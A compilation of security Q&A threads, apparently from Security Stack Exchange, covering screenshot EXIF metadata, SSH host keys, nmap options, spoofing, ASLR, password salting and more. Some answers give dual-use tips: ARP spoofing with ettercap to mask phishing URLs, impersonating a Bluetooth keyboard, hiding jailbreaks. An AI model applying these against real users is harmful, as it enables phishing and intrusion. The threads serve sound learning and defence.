What information can be gained from an Apple device's screenshot or its EXIF data? I often take screen grabs from my Apple devices for professional purposes (iPhone, iMac, Powerbook...), sometimes sharing them on forums, imgur or S.E. sites for technical support.

What informations can be gathered from the EXIF data of these screenshots (IP address, computer name, folder where image is saved...)?

After following this link from this forum, I ran a couple of tests but I am unsure of the results given by this tool, and couldn't find other online sources about this particular topic.

Including sample data of an OSX screen capture from a OSX desktop parsed by three different tools below. It does not seem to contain the IP address but it does contain the make and model of your computer and in some cases some directory information (I also noticed that if you use an external display it will contain different information than if the screenshot is taken from your primary display).

Update: I just tested an iPhone screen capture (iOS 9.3.2 but with location services turned off and pretty much maximum privacy settings) and had near identical types of information for that device as the info below.

Note: Computers with different operating systems and software may include additional information not shown below. Also different tools may be better or worse at interpreting EXIF data and this may lead to some information not being listed here.

Viewing the screen captures with a hex editor seemed to indicate that most of the EXIF data was found by these tools. Again this could easily change with any given software updates.

You can upload the files to the following website to see some information on your own files:
http://regex.info/exif.cgi

ICC_Profile — this block of data describes the color space used to encode pixel colors.
Profile CMM Type    appl
Profile Version 2.1.0
Profile Class   Display Device Profile
Color Space Data    RGB
Profile Connection Space    XYZ
Profile Date Time   2016:02:15 15:07:11
3 months, 26 days, 23 hours, 39 minutes, 51 seconds ago
Profile File Signature  acsp
Primary Platform    Apple Computer Inc.
CMM Flags   Not Embedded, Independent
Device Manufacturer
Device Model
Device Attributes   Reflective, Glossy, Positive, Color
Rendering Intent    Perceptual
Connection Space Illuminant 0.9642 1 0.82491
Profile Creator appl
Profile ID  0
Profile Description Display
Profile Description ML (hr-HR)  Thunderbolt Display
Profile Description ML (ko-KR)  Thunderbolt Display
Profile Description ML (nb-NO)  Thunderbolt Display
Profile Description ML  Thunderbolt Display
Profile Description ML (hu-HU)  Thunderbolt Display
Profile Description ML (cs-CZ)  Thunderbolt Display
Profile Description ML (da-DK)  Thunderbolt Display
Profile Description ML (uk-UA)  Thunderbolt Display
Profile Description ML (it-IT)  Thunderbolt Display
Profile Description ML (ro-RO)  Thunderbolt Display
Profile Description ML (es-ES)  Thunderbolt Display
Profile Description ML (he-IL)  Thunderbolt Display
Profile Description ML (nl-NL)  Thunderbolt Display
Profile Description ML (fi-FI)  Thunderbolt Display
Profile Description ML (zh-TW)  Thunderbolt Display
Profile Description ML (vi-VN)  Thunderbolt Display
Profile Description ML (sk-SK)  Thunderbolt Display
Profile Description ML (zh-CN)  Thunderbolt Display
Profile Description ML (ru-RU)  Thunderbolt Display
Profile Description ML (fr-FR)  Thunderbolt Display
Profile Description ML (ca-ES)  Thunderbolt Display
Profile Description ML (th-TH)  Thunderbolt Display
Profile Description ML (es-XL)  Thunderbolt Display
Profile Description ML (de-DE)  Thunderbolt Display
Profile Description ML (pt-BR)  Thunderbolt Display
Profile Description ML (pl-PL)  Thunderbolt Display
Profile Description ML (el-GR)  Thunderbolt Display
Profile Description ML (sv-SE)  Thunderbolt Display
Profile Description ML (tr-TR)  Thunderbolt Display
Profile Description ML (ja-JP)  Thunderbolt Display
Profile Description ML (pt-PT)  Thunderbolt Display
Profile Copyright   Copyright Apple Inc., 2016
Media White Point   0.94955 1 1.08902
Red Matrix Column   0.44434 0.22476 0.00548
Green Matrix Column 0.37944 0.72617 0.07797
Blue Matrix Column  0.14041 0.04907 0.74146
Red Tone Reproduction Curve (2,060 bytes binary data)
ICC Profile Aarg    (32 bytes binary data)
Video Card Gamma    (48 bytes binary data)
Native Display Info (62 bytes binary data)
Chromatic Adaptation    1.04861 0.02332 -0.05034 0.03018 0.99002 -0.01714 -0.00922 0.01503 0.75172
**Make And Model    (40 bytes binary data)**
Blue Tone Reproduction Curve    (2,060 bytes binary data)
Green Tone Reproduction Curve   (2,060 bytes binary data)
ICC Profile Aabg    (32 bytes binary data)
ICC Profile Aagg    (32 bytes binary data)

Using ImageMagick's command: identify -verbose filename

Image: EXIF-2.png
  Format: PNG (Portable Network Graphics)
  Class: DirectClass
  Geometry: 840x728+0+0
  Resolution: 56.69x56.69
  Print size: 14.8174x12.8418
  Units: PixelsPerCentimeter
  Type: TrueColorMatte
  Endianess: Undefined
  Colorspace: RGB
  Depth: 8-bit
  Channel depth:
    red: 8-bit
    green: 8-bit
    blue: 8-bit
    alpha: 1-bit
  Channel statistics:
    Red:
      min: 39 (0.152941)
      max: 243 (0.952941)
      mean: 145.848 (0.571955)
      standard deviation: 38.1181 (0.149483)
      kurtosis: -0.548953
      skewness: -0.365279
    Green:
      min: 48 (0.188235)
      max: 240 (0.941176)
      mean: 145.454 (0.570408)
      standard deviation: 33.2798 (0.130509)
      kurtosis: -0.495621
      skewness: -0.482358
    Blue:
      min: 38 (0.14902)
      max: 231 (0.905882)
      mean: 110.294 (0.432524)
      standard deviation: 28.2349 (0.110725)
      kurtosis: 0.223295
      skewness: 0.261946
    Alpha:
      min: 255 (1)
      max: 255 (1)
      mean: 255 (1)
      standard deviation: 0 (0)
      kurtosis: 0
      skewness: 0
  Image statistics:
    Overall:
      min: 0 (0)
      max: 243 (0.952941)
      mean: 100.399 (0.393722)
      standard deviation: 28.973 (0.11362)
      kurtosis: 48.6621
      skewness: -4.99921
  Rendering intent: Undefined
  Interlace: None
  Background color: white
  Border color: rgba(223,223,223,1)
  Matte color: grey74
  Transparent color: none
  Compose: Over
  Page geometry: 840x728+0+0
  Dispose: Undefined
  Iterations: 0
  Compression: Zip
  Orientation: Undefined
  Properties:
    date:create: 2016-06-13T20:35:36+00:00
    date:modify: 2016-06-13T20:34:13+00:00
    PNG:iCCP                 : chunk was found
    PNG:IHDR.bit_depth       : 8
    PNG:IHDR.color_type      : 6
    PNG:IHDR.interlace_method: 0
    PNG:IHDR.width,height    : 840, 728
    PNG:pHYs                 : x_res=5669, y_res=5669, units=1
    signature: 3e74422ab0e2b55b3cbec053dd3a147894cc35a8e2083d6a2eba2b890fba5d89
  Profiles:
    Profile-icc: 3892 bytes
      Display
  Artifacts:
    verbose: true
  Tainted: False
  Filesize: 818KBB
  Number pixels: 612KB
  Pixels per second: 7.644MB
  User time: 0.060u
  Elapsed time: 0:01.080
  Version: ImageMagick 6.6.9-7 2014-03-06 Q16 http://www.imagemagick.org

http://www.sno.phy.queensu.ca/~phil/exiftool/

ExifTool Version Number         : 10.20
File Name                       : EXIF-2.png
Directory                       : .
File Size                       : 799 kB
File Modification Date/Time     : 2016:06:13 13:28:01-07:00
File Access Date/Time           : 2016:06:13 13:46:55-07:00
File Inode Change Date/Time     : 2016:06:13 13:28:01-07:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 840
Image Height                    : 728
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Profile Name                    : ICC Profile
Profile CMM Type                : appl
Profile Version                 : 2.1.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2016:02:08 13:38:48
Profile File Signature          : acsp
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             :
Device Model                    :
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : appl
Profile ID                      : 0
Profile Description             : Display
Profile Description ML (hr-HR)  : LCD u boji
Profile Description ML (ko-KR)  : 컬러 LCD
Profile Description ML (nb-NO)  : Farge-LCD
Profile Description ML (hu-HU)  : Színes LCD
Profile Description ML (cs-CZ)  : Barevný LCD
Profile Description ML (da-DK)  : LCD-farveskærm
Profile Description ML (uk-UA)  : Кольоровий LCD
Profile Description ML (it-IT)  : LCD colori
Profile Description ML (ro-RO)  : LCD color
Profile Description ML (es-ES)  : LCD color
Profile Description ML (he-IL)  : LCD צבעוני
Profile Description ML (nl-NL)  : Kleuren-LCD
Profile Description ML (fi-FI)  : Väri-LCD
Profile Description ML (zh-TW)  : 彩色 LCD
Profile Description ML (vi-VN)  : LCD Màu
Profile Description ML (sk-SK)  : Farebné LCD
Profile Description ML (zh-CN)  : 彩色 LCD
Profile Description ML (ru-RU)  : Цветной ЖК-дисплей
Profile Description ML (fr-FR)  : LCD couleur
Profile Description ML (ca-ES)  : LCD en color
Profile Description ML (th-TH)  : LCD สี
Profile Description ML (es-XL)  : LCD color
Profile Description ML (de-DE)  : Farb-LCD
Profile Description ML          : Color LCD
Profile Description ML (pt-BR)  : LCD Colorido
Profile Description ML (pl-PL)  : Kolor LCD
Profile Description ML (el-GR)  : Έγχρωμη οθόνη LCD
Profile Description ML (sv-SE)  : Färg-LCD
Profile Description ML (tr-TR)  : Renkli LCD
Profile Description ML (ja-JP)  : カラー LCD
Profile Description ML (pt-PT)  : LCD a Cores
Profile Copyright               : Copyright Apple Inc., 2016
Media White Point               : 0.94955 1 1.08902
Red Matrix Column               : 0.44434 0.22476 0.00548
Green Matrix Column             : 0.37944 0.72617 0.07797
Blue Matrix Column              : 0.14041 0.04907 0.74146
Red Tone Reproduction Curve     : (Binary data 2060 bytes, use -b option to extract)
Video Card Gamma                : (Binary data 48 bytes, use -b option to extract)
Native Display Info             : (Binary data 62 bytes, use -b option to extract)
Chromatic Adaptation            : 1.04861 0.02332 -0.05034 0.03018 0.99002 -0.01714 -0.00922 0.01503 0.75172
Make And Model                  : (Binary data 40 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 2060 bytes, use -b option to extract)
Pixels Per Unit X               : 5669
Pixels Per Unit Y               : 5669
Pixel Units                     : meters
XMP Toolkit                     : XMP Core 5.4.0
Exif Image Width                : 840
Exif Image Height               : 728
Image Size                      : 840x728
Megapixels                      : 0.612


Why does a SSH server need a host key-pair? I know that the client needs a client key-pair for client authentication; Clients sends its public key to the Server for it to encrypt a challenge which will be decrypted by the Client to authenticate the Client.

I also know that before authenticating the Client, the Client needs to authenticate the Server by storing the host public key in ~/.ssh/known_hosts

However, why does the Server need a host key-pair? It seems like only the host's public key is needed, why do we need asymmetrical keys for this?

You already quite understand how the public key cryptography works and how the client is authenticated to the server using public key authentication.

The same thing is needed on the other direction. Internet and computer networks are evil place and it is quite easy to redirect traffic, spoof DNS or somehow make you connect to evil host, which would like to capture your password or other sensitive information. And it can not be ensured using public key only, because everyone can send you this public key, but only the server you want to connect can send you signature of your data that you can verify using the public key of the host.


Why some applications host the API in a different domain? I have seen a trend of applications moving their APIs to other domains (from api.application.com to api.applicationapi.com).

Two examples: 3.basecampapi.com and api.dropboxapi.com

Is there a security benefit to host the API in a different domain than the dashboard or marketing website? Why does a subdomain is not enough?

Is there a security benefit to host the API in a different domain than
  the dashboard or marketing website?

In a word, resilience.

One benefit is that any security blocks which are put in place due to content on the dashboard or marketing website will not impact the API, if the API is on a completely different domain.

(If "marketing" means Wordpress or Drupal, for example, such blocks can be a very real threat!)

I've had direct experience with blocks triggered by the Google Blacklist, and they can impact the domain name and subdomains thereof.  If example.com ends up with malware on it, then api.example.com (and api.api.example.com) will get blocked as well.

Moving to api.exampleapi.com cleanly segregates the API so it won't be impacted if example.com is blacklisted.

  Why does a subdomain is not enough?

Again, with Google at least, blocks may extend into subdomains as well.  Also, DNS-based filters like OpenDNS wildcards will block all subdomains as well.


How do I ask nmap to probe designated service type, and do not run scripts? I would like to probe if a port is running socks or squid service, but nmap runs all service probes by default, can I change that?

Also from the debug output, there's a NSE script pre-scanning, can I disable that too?

P.S attached nmap command

nmap 58.250.87.87 -p 10080 -sV -A --version-intensity 8 -Pn -n -T4 --max-retries 0 -vvv --debug

The first thing to do is to remove -A from your command, since that implicitly requests scripts in the "default" category (being the equivalent of -sV -sC -O --traceroute.

Next, you will still have scripts in the "version" category running. These are specifically designed to enhance the -sV version scan by probing services that will not respond adequately to a single static probe. If you really need to turn these off, you can (since Nmap 6.49BETA1) set the script-intensity script argument to 0: --script-args script-intensity=0. This will prevent version-category scripts from running unless you select them by name.


What makes an SMS gateway insecure? Is it specifically something about SMS protocol, the proprietary software used to do message routing, or perhaps an ACL on the server? I would imagine that a gateway accepting emails from anywhere that were then sent via SMS would check the from field on any incoming message against RFC5322, but then again this is clearly not the case since some gateways allow any message through, allowing for spoofing.

Can someone explain where in the entire process this is weak, and why? Also why do they not fix things like this?

There is nothing wrong with SMS. Let's reverse engineer, and redesign the whole network as if to protect communication between two people.

1) Let's make it a point-to-point communication network where there's a salt known only to the sender and receiver and the phone numbers are encrypted. This prevents spoofing and/or spam.

2) the gateway itself only has one instance, and that instance is secured by at least 256 bit encryption, and is physically isolated from other equipment and tampering. To ensure that endpoint device theft isn't an issue, offline mode is disabled.

3) A one-time phone number can be used to send SMS to users outside of this secure environment restricting the original phone number from being harvested or spoofed.

4) Phone number blocks all SMS's for numbers not on contact list.
.
.
.
.
Now, we forward engineer about 20 years, scale it using enteprise and off-the-shelf equipment and call it Snapchat (and hack off the group messaging feature). It's now more secure than President Obama's Blackberry, but still isn't impervious to jealous girlfriends, wives, and screen shots.


URL & address bar spoofing, only possible on rogue access point Have been playing around with the whole DNS spoofing thing. How can a rogue/phishing URL be masked with a legitimate URL in the address bar (without using images)? I was under the impression that this was doable, but so far the only way to pull this off is with superimposed JavaScript images.

I managed to trick my own browser by modifying the hosts file on my Mac and pointing twitter.com to a localhost site. Is it therefore safe to assume that modifying a hosts file on a rogue access point would yield legitimate-looking pages that are actually rogue?

Actually, this can't be done with images. Images in browsers are confined to the main frame of the browser, and can't just escape that. Java Applets can, however, though these will ask for permission first.

In general the only way to mask a phishing URL by a legitimate one is to spoof DNS (or just go ahead and ARP spoof the whole connection and add a filter).

  Is it therefore safe to assume that modifying a hosts file on a rogue access point would yield legitimate-looking pages that are actually rogue?

Well, APs usually don't have hosts files, but this is possible. In fact, if someone is on the same subnetwork as you, they can use ettercap with some filters (ARP spoofing) to mask phishing URLs.

In general, the only thing you can trust are SSL URLs (https://). These will display a green something on the address bar if the are legitimate, and will raise an error if they aren't (though this error can be caused by non-malicious situations too)


which site do you use to view details of vulnerabilities? Which site/sites do you guys use to view details of security vulnerabilities?

I tend to start with http://secunia.com for vulns per-product or vendor, pick the CVE references up from there and then view the details on http://www.cvedetails.com


Difference between AES-128 CMAC & AES-128 ECB/CBC? Automotive standards for encryption use talk about the algorithms AES-128 CMAC & AES-128 ECB/CBC.

AES-128 CMAC use to provide Security service Authenticity
AES-128 ECB & CBC used to provide Security service Confidentiality

What exactly is the difference between Authenticity & Confidentiality?
What is CMAC or MAC? Does CMAC mean encrypted data coming out of the AES algorithm?

Shortest possible explanations:

Confidentiality -- no adversary can learn the content of the encrypted message

Authenticity -- any attempt to tamper with the data will be detected

These two notions are independent, e.g. one-time pad provides perfect confidentiality but no authenticity (adversary can flip a bit of the ciphertext in transit and this will result in a flipped bit of the decrypted message).

Now, to provide confidentiality we use ciphers. To provide authenticity, we often employ MACs i.e. Message Authentication Codes.

MAC algorithms can be constructed using block ciphers. CMAC is an algorithm that uses a block cipher as a building block of the MAC. Depending on the underlying block cipher we talk about AES-128 CMAC when the cipher is AES with 128 bit key or e.g. Serpent-128 CMAC if the block cipher is Serpent.

CBC or ECB are modes of operation of a block cipher. Mode of operation is used to provide a way of encrypting arbitrary amount of data with a block cipher that by itself can encrypt only fixed block of data (e.g. 128-bits in case of AES). If you have anything else than 128 bits, you need to use a mode of operation.


Authentication helpers for tunneling through an HTTP proxy? corkscrew is quite good for tunning SSH through an HTTP proxy. However, it only supports basic authentication. Have other people developed similar software supporting other types of authentications? The search engine didn't give me many useful results and I'm wondering whether there are any security implications here (for not implementing such tools).

So, the auth method used  by corkscrew is only meant to auth you against your proxy. Not to auth you against the service you want to tunnel.

  Have other people developed similar software supporting other types of authentications?

I'll make a list of the other types of HTTP authentications:

digest auth

finished.

I've not met an digest-authing HTTP proxy myself, but I'm sure they exist somewhere, somehow. Anyway, it seems to me, you're the first person to actually need this – so, go and add that feature to the full 291 lines of C code that corkscrew 2.0 has. Shouldn't be that hard :)

Personally, I don't understand why anyone would mandate a HTTP proxy but then allow HTTP CONNECT that allows things that aren't HTTPS. That's really like putting a lock on a door, but at the second time, installing an equally-sized second door next to the first door, unlocked.


Is a temporary local hotspot on an Android device secure enough for my purposes? I intend to deploy some embedded software on Raspberry Pi devices. All will have WiFi capability, but not all will have internet access.

I want to occasionally be able to update the firmware in all, replacing a single executable (and, possibly, a single configuration file).

At the same time, I want those devices to report some information, probably daily.

For those with WiFi access, that seems straightforward enough, taking the  obvious precautions of HTTPS, POST rather than GET, possibly even encrypting the data again, despite using HTTPS (any more?).

Now, for the devices which have no internet access, I could visit them with an Android device. My first thought was to code some Android app to mirror my server’s app, then I realized how silly that would be.

My next thought was simply to use the Android device as a hotspot, and just pass the traffic through from the embedded app to my server & back again – only for as long as the data transfer takes.

I don’t know enough about the security aspect of that. Does it sound like an acceptable solution? The data could be described as “commercial, in confidence”, so not life & death, but I would prefer to avoid man in the middle and reverse engineering of the data.

It is unclear why you would think a phone hotspot is any more or less secure then any other form of WIFI hotspot - thr risks are pretty similar.

I guess there is an additional risk of the phone falling into the wrong hands and the password extracted, but this is probably a relativrly small risk, and not that different from the passphrase being extracted/brute forced from decrypting over-the-air handshake data etc.

In both cases you still have protection of using HTTPS, which is likely a more effective security measure then trying to control the WIFI environment. Likewise, in both cades the security used to protect the WII setup is more important then the device providing it/upstream provider.

There are at least 2 fairly easy things you can consider to boost the security of your network -

Run a VPN between the devices and your server /server gateway and ensure data from the devices traverse that VPN.
Run your own CA and remove other root certificates, and, if you are worried about fakr/unauthorisrd data, use client side certificates to authenticate the client back to the server.


Extract expiration date from private key file (.p12) without the password Is it possible to extract the expiration date from a private key (.p12 file) without knowing the password?
I used the command bellow without success:

openssl pkcs12 -in test.p12 -nokeys -nomacver

From my understanding, .p12 is a very flexible file format in that a p12 created by openssl can look very different from a p12 created by java keytool, but most often the contents look like this:

You need to extract the certificate, not the private key. Keys themselves don't have expiration dates, you want to extract the certificate from the p12 and look at the notAfter or validTo field.

My understanding is that if you created the p12 with a password, then the entire contents are encrypted as one blob. ie there is no way to access the only the certificates without knowing the password.

I'm not an openssl expert, but this seems consistent with this openssl command-line guide, which acts on the p12 certificate and private key together:

# Check a PKCS#12 file (.pfx or .p12)
openssl pkcs12 -info -in keyStore.p12

# Convert a PKCS#12 file (.pfx .p12) containing a private key and certificates to PEM
openssl pkcs12 -in keyStore.pfx -out keyStore.pem -nodes


How much security expertise does a general application programmer need to develop software ethically? I am curious about this. I saw this thread:

Why shouldn't we roll our own?

and this answer:

https://security.stackexchange.com/a/18198/144241

which had on it this comment, which had the second highest number of votes and that can't just be ignored:

  "The biggest problem I notice among beginning coders, is that they don't take security risks seriously. If I mention what kind of weaknesses some system has, the common response is rolling their eyes... The attacks are real and do happen, and if you can't even apply proper security at school then how's your application supposed to fare when it's live for hundreds of customers? :/ The only way to convince them is usually providing examples, and best of all a live demo. So if you have examples... I think it'd be a nice addition!"

This makes me wonder, then. The context of this discussion was about "rolling one's own" cryptographic software or algorithms, and why that's generally a bad idea due to the numerous security vulnerabilities that one may create without the proper expertise (and there seemed to be a strong air that this doesn't just apply to creating your own ciphers per se but also implementing existing, vetted ciphers in your own code) which may make the product considerably less secure than it should be, or advertises to be. And the concern is, of course, eminently reasonable. Moreover, the amount of expertise required is apparently quite large - according to one story I heard on this a very, very long time ago, someone once said (I think it was Bruce Schneier?) that they would not (approximating) "trust any crypto written by anyone who had not first 'earned their bones' by spending a lot of time breaking codes".

The problem, however, is that while I understand this in regard to cryptographic software, the comment above raises a point that suggests this carries implications that are vastly more general in that security issues apply to all software, and thus the developer of any software needs to take security into account no matter what it is, even if it is not explicitly cryptographical or we are not writing explicitly cryptographic parts (e.g. consider how often a buffer exploit pops up on various general-purpose softwares like web browsers and some cracker hits it to deal damage, esp. stealing information and/or money.). It seems like that, intuitively, there is a basic ethical obligation on the part of any software developer who is going to release code that will be used by the wider public, to ensure that it meets some "reasonable" standard of security, even if it's not specifically 'security' code. If one releases code one knows may be insecure, then one is acting in a manner that again, very reasonably, could be construed as containing unethical negligence.

And that's where I am concerned. Because, ultimately, since you cannot just get all software "pre-made" - as then what'd be the point of developing any software - you will have to roll at least SOME security-embodying code on your own. You have to roll you own, like it or not, and that means it takes expertise. So the question is: if we follow the dictum to not "roll one's own" insofar as it applies to specifically security-related code such as encryption, BUT we have to roll our own code as part of ALL application development, then how much expertise in security do we as a general application programmer need under our belt to meet that intuitive ethical bound? It seems like the amount has to be "more than zero" but (hopefully!) "less than that of a computer security expert" of the calibre who develop the actual encryption algorithms (like AES, etc.) that become world standards. But what is that amount, and which end of that spectrum is it closer to, and what exactly is needed to learn it?

Thats an interesting question. At first we as software developers create code (which means, applications) for a specific business purpose. So a good programmer should be able to dive into business domains and transform functional requirements into working code.

But software is complex and there are dozens of technical / non-functional requirements that a developer should be aware of, for example performance, stability, user interface, security and so on.

I think it's not possible to be an "expert" in every technical domain. But - and I think thats the point - if you or your company wants to build "professional" software, there should be at least one expert for every technical domain. Talking about security, there should be at least one security engineer who can do code reviews, internal penetration tests and so on. While doing such things in coorperation with the actual developer who wrote the code, there should be some kind of knowledge transfer between the expert and the "novice". That way, every developer should earn a basic knowledge over the time.

The challanges for the company are a) sensibilize every developer for these topics so that they don't "roll their eyes" when it comes to such things and b) establish a software development process / lifecyle where these topics are included.


Can hackers access my webcam? Can hackers gain access to a webcam without turning the webcam on? Can this be done on Ubuntu?

Yes, this can happen. This attack is typically targeted at MS Windows users.

The counter measure is, as usual, to have all your components up to date.

Note that the light of your webcam will be on, which is an indication of the attack (it is not possible to disable this functionality it may be possible to disable the light on older machines or specific configurations - thanks @silverpenguin for the comment).


Is limiting access to a web script with .htaccess secure enough when that script can run arbitrary commands? Okay, so I don't have much HTML experience, but I recently started working on a project with a group of people that involves regularly manipulating files in a web server. I would like to work on this project when I am at work sometimes, but use of remote connection is discouraged there.

I thought I could write a program that could mimic an ssh environment and allow me to enter commands/see their output and even edit files. I believe this would only give me access to files in the www directory but this is fine.

I would secure the program via .htaccess

what are the flaws with this approach? Is there a better way to get this job done? should I try it at all?

Is it true that .htaccess sends the password via plain text?

if so, what are the other down sides? I don't expect anyone to be sniffing here.

The best you could do is use a ssh connection to work on those files.

If that is not an option you should try to make it possible.

If ssh is really not possible you should check the following:

use https with a valid certificate (without that password will be send as plain text!)
your .htaccess uses a strong password (otherwise it might be brute forced)
use a solid editor (not something you wrote yourself)
check file permissions and make sure you can only access file you really need

If one of the above points is not fulfilled you should simply do not this.


Does SSH generate traffic when listening? Does a service, for example, SSH, generate traffic when only listening (e.g. does it advertise itself in some way) when there is no connection established?

I ask as on Android devices for example, we can monitor incoming and outgoing traffic, great - we can block specific requests, IPs, app permissions etc. but even when doing this, could there be a service listening in the background (hidden in the firmware) such that the device can be accessed? Then all the monitoring/blocking would not be an effective defense, if the service generates no traffic (or even very little such that it is not noticed).

Does an open port generate traffic

No, only a connected port generates traffic. An open port is just one that will respond if you talk to it.

Is it possible to detect open ports locally

On Linux, the command netstat -tupln will show the listening ports, and the associated processes.

Is it possible to detect open ports remotely

If the port is TCP, and open to anyone then you can detect it by checking for the 3 way handshake.

If it uses UDP, it is only checkable if it responds, either with a port unreachable message, or data. If the traffic is just dropped you cannot tell if this was because ICMP is blocked, or if your message just didn't get a reply.


Burpsuite Pro: CSRF tokens in sequencer So I'm using Burp to try and estimate the entropy used by tokens to prevent CSRF.

Let's say a website has a url in it's site protected by a Token:

 somelink

The problem I'm facing is that the token remains the same if I do multiple requests. It only expires (it changes) if it gets used.

Now I'm trying to capture a number of tokens with burp. The problem is that if I request the same page with sequencer the token hasn't changed because there hasn't been a link visited that uses that token ( the token hasn't expired yet ). How can I make Burp extract the token value and use it in it's next sequencer request.

Try to use Makros at: Options -> Sessions -> Session Handling -> Add -> Rule Actions
and enable the Sequencer at the Scope Tab within the Session handling rule editor.
Looks like you have to define Makros to "visit the Link" aka call the
URL the link points to with the given Token. Look around the Sessions-Tab
for the appropiate way to accomplish the task.


How do I get started with security? (beginner) I have been working in web development for a fair amount of time. I am looking at developing in either Python (Django etc.) or PHP. I am new to security. Where do I begin looking? What are basic things I should have in mind? Basically, how do I get started with this? Apart from web related security, what do I go through?

There are so many things to do and read that it's impossible to list them all all here. However, here is a collection of links to questions on this site to get you started:

Beginner level security for a CS student
I want to be web security consultant?
Resources to learn about security
Video Tutorials resources for IT Security
Best resources to learn web security attacks?


Bluetooth keyboard security Suppose there is a computer with a Bluetooth keyboard linked to it. The keyboard uses a simple 4-digit PIN. Now, I am able to crack the PIN and then program my own keyboard to use the same PIN. Would it be possible for me to gain access to the computer by impersonating the legitimate keyboard in some way?

Would it be possible for me to gain access to the computer by impersonating the legitimate keyboard in some way?

Probably.

But there are a few question you need to ask yourself here:

Is the computer generating the PIN or is the keyboard?
Does the PIN change? If yes, how often?

If the PIN does not change, it doesn't really matter what device generates the PIN and all you have to do is obtain/crack it.

After you obtained the PIN you will need to knock the other keyboard offline (or when the user is not in the room) in order for the PC to connect to your keyboard.


What is the threat/risk difference in opening multiple ports on one physical NIC on a home server vs creating VLANs and opening ports on each VLAN? I have a single home server with a single NIC. I intend to run numerous services -- some will be internet exposed, some will not. I don't know if I am going to run them as VMs or Docker container but it shouldn't matter for this question.
Say I ultimately need to open port:

:1234 that'll accept traffic from the internet (using a port forward on my router)
:6789 that'll accept traffic just from my local network

I figure I have two options:

open both ports :1234 and :6789 on eth0 of my server
use VLANs:

create a 802.1Q trunk on eth0 of my server then
create two VLANs:

eth0.10 - dmz
eth0.20 - trust

open ports on the individual VLANs:

:1234 on eth0.10
:6789 on eth0.20

The way I see it, option 2 gives me more control on my router/FW for rules for traffic between two VLANs but I am wondering how much it matters if everything is ultimately going to the same ethernet port on the same server.
So I'm wondering from a risk/threat perspective, is one better than the other?

I don't see any security related reason to use VLANs in this case. As you said, you are exposing the same server either way after all.
Now, if you had multiple internal networks with different levels of trust, VLANs may be useful.


Detecting different jailbreaks I am using an application that shuts down and quits when it detects a jailbroken phone.

Is it possible that this application only detects some kinds of jailbreaks and not others? Or do applications generally detect jailbreaks by the result rather than the process?

It's impossible to say in your specific situation. What I can say is that there's basically an arms race between the author of jailbreak detection libraries and people creating apps to hide jailbreaks. Apps like xCon attempt to beat the detection libraries. Google "hiding jailbreak iOS 8" (or appropriate version).


How does ASLR protect libc entry points? ASLR randomizes the addresses of the process executable code, stack, heap and libraries. This is to make the life of an attacker difficult as they cannot hardcode addresses in the code across multiple instantiations.

But how does this help with system libraries? They are never unloaded. Every process uses libc, for example, and so the address of prinf never changes. How is this helping if I am hardcoding the address of printf? This does not change unless the machine reboots.

I do have ASLR enabled --

# cat /proc/sys/kernel/randomize_va_space
2

Here is some sample code --

unsigned long getEBP ( void )
{
    asm("movl %ebp, %eax");
}

int main(void)
{
    int (*p)(const char*, ...) = &printf;
    printf("printf address = %p \n", p);
    (*p)("printf address = %p\n", &printf);
    printf ("EBP:%x\n" ,getEBP ());
}

And the output across multiple runs --

# ./a.out
  printf address = 0x4003c0
  printf address = 0x4003c0
  EBP:6a71d300

# ./a.out
  printf address = 0x4003c0
  printf address = 0x4003c0
  EBP:93e5c100

See the EBP is changing as it should but not the address of printf.

What am I missing?

EDIT: Compiling with -fPIC did not help on my RHEL VM.

# ./a.out
  printf address = 0x3047a4f0f0
  printf address = 0x3047a4f0f0
  EBP:7aaac900

# ./a.out
  printf address = 0x3047a4f0f0
  printf address = 0x3047a4f0f0
  EBP:632eca20

If the libc calls are in fact randomized as the reply says below, how is it implemented? libc itself is not reloaded, so the actual address of printf is not changing, how can it be randomized?

Update:

see https://stackoverflow.com/questions/24984955/why-arent-glibcs-function-addresses-randomized-when-aslr-is-enabled

Compile the binary using -fPIE or -fPIC -pie -fPIE:

https://stackoverflow.com/questions/2463150/fpie-position-independent-executable-option-gcc-ld

Binary compiled with default flags:

user01@user01 ~/test $ ./test_ASLR
printf address = 0x400420
printf address = 0x400420
EBP:9af703c0
user01@user01 ~/test $ ./test_ASLR
printf address = 0x400420
printf address = 0x400420
EBP:8411e900
user01@user01 ~/test $ ./test_ASLR
printf address = 0x400420
printf address = 0x400420
EBP:28f8e50

Binary compiled with -pie -fPIE flags:

user01@user01 ~/test $ ./test_ASLR
printf address = 0x7f8227963340
printf address = 0x7f8227963340
EBP:19e01ad0
user01@user01 ~/test $ ./test_ASLR
printf address = 0x7fecb2baa340
printf address = 0x7fecb2baa340
EBP:9c8148e0
user01@user01 ~/test $ ./test_ASLR
printf address = 0x7f5d00edb340
printf address = 0x7f5d00edb340
EBP:32b3c6d0


optimal way to salt password? A good way to salt password?
I have read a few answers related to salting password. But I started to get confused.
I came across few functions people used to generate salt like:

mcrypt_create_iv()
openssl_random_pseudo_bytes()
pseudo random bits and the answer tells almost everything about salt
use cryptographic nonce for password by @Rook (maybe I misunderstood)

So many functions out there, so which one I need use?

and one mini question:
What I know is salt must be as random as possible for each user's password. Currently I am using pseudo random bits (as in third in above list) to generate salt to bcrypt->hash(salt+password) and store the salt  together with password in same row in mysql. Am I implement this wrong?

To be effective, a salt should be random (unpredictable) and unique (thus, a nonce). It doesn't have to be very long (though that doesn't hurt).

Your implementation is how a salt should be handled. However, bcrypt already includes a salt, so your efforts are a bit redundant. It definitely doesn't hurt anything, though.


How does JWT Encryption work? What is the message flow, or sequence that enables JWT encryption of the payload?

(opposed to OAuth / OpenIDConnect which doesn't encrypt the payload)

I downvoted your question due to the fact I believe it to be answered by the canonical resources on JWT, https://jwt.io/introduction/.

Happy to reverse that if I missed some aspect of your question, but I do think you just need to check that link - it seems to cover both your initial question and the follow up in comments


